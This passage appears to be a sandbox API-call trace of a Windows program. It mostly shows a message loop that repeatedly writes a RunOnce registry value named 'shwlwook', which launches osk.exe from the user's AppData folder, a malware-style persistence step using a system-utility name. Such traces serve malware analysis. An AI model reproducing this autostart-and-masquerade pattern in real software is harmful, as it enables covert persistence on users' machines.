(hKey=0x644) returned 0x0 [0279.198] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.198] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.212] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.212] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.212] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.214] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.214] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.214] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.215] RegCloseKey (hKey=0x644) returned 0x0 [0279.215] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.215] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.264] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.264] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.264] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.264] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.264] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.264] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.264] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.264] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.264] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x320, wParam=0xe3006fc7, lParam=0x1) returned 0x0 [0279.264] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.265] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.265] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.265] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x320, wParam=0xe3006fc7, lParam=0x1) returned 0x0 [0279.265] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.265] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.265] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.265] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 [0279.265] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.266] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.266] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.266] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.266] RegCloseKey (hKey=0x644) returned 0x0 [0279.267] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.267] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.275] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.275] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.275] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.276] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.276] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.276] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.276] RegCloseKey (hKey=0x644) returned 0x0 [0279.276] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.277] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.290] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.290] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.290] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.291] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.291] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.291] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.291] RegCloseKey (hKey=0x644) returned 0x0 [0279.291] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.292] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.305] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.305] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.306] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.306] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.306] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.307] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.307] RegCloseKey (hKey=0x644) returned 0x0 [0279.307] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.307] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.321] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.321] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.321] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.322] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.322] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.322] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.322] RegCloseKey (hKey=0x644) returned 0x0 [0279.323] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.323] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.336] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.336] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.337] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.337] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.337] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.337] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.338] RegCloseKey (hKey=0x644) returned 0x0 [0279.338] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.338] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.352] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.352] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.353] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.353] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.353] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.354] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.354] RegCloseKey (hKey=0x644) returned 0x0 [0279.354] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.355] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.368] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.368] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.368] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.369] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.369] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.369] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.369] RegCloseKey (hKey=0x644) returned 0x0 [0279.369] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.370] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.383] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.383] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.384] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.384] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.384] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.384] RegCloseKey (hKey=0x644) returned 0x0 [0279.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.385] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.399] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.399] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.399] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.400] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.400] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.400] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.400] RegCloseKey (hKey=0x644) returned 0x0 [0279.401] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.401] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.419] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.419] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.420] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.420] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.421] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.421] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.421] RegCloseKey (hKey=0x644) returned 0x0 [0279.421] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.422] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.446] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.446] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.446] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.447] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.447] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.447] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.447] RegCloseKey (hKey=0x644) returned 0x0 [0279.448] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.448] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.462] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.462] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.462] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.463] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.463] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.463] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.463] RegCloseKey (hKey=0x644) returned 0x0 [0279.463] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.464] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.477] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.477] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.477] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.478] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.478] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.478] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.478] RegCloseKey (hKey=0x644) returned 0x0 [0279.479] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.479] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.493] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.493] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.494] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.494] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.494] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.495] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.495] RegCloseKey (hKey=0x644) returned 0x0 [0279.495] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.495] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.559] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.559] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.560] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.560] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.560] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.560] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.560] RegCloseKey (hKey=0x644) returned 0x0 [0279.561] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.561] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.571] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.571] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.571] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.572] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.572] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.572] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.572] RegCloseKey (hKey=0x644) returned 0x0 [0279.572] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.573] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.589] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.589] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.590] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.590] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.590] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.590] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.591] RegCloseKey (hKey=0x644) returned 0x0 [0279.591] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.591] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.725] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.725] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.726] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.726] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.726] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0279.727] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0279.728] RegCloseKey (hKey=0x644) returned 0x0 [0279.729] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0279.729] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0279.743] TranslateMessage (lpMsg=0x95f69c) returned 0 [0279.743] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0279.743] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0279.744] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0279.744] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, 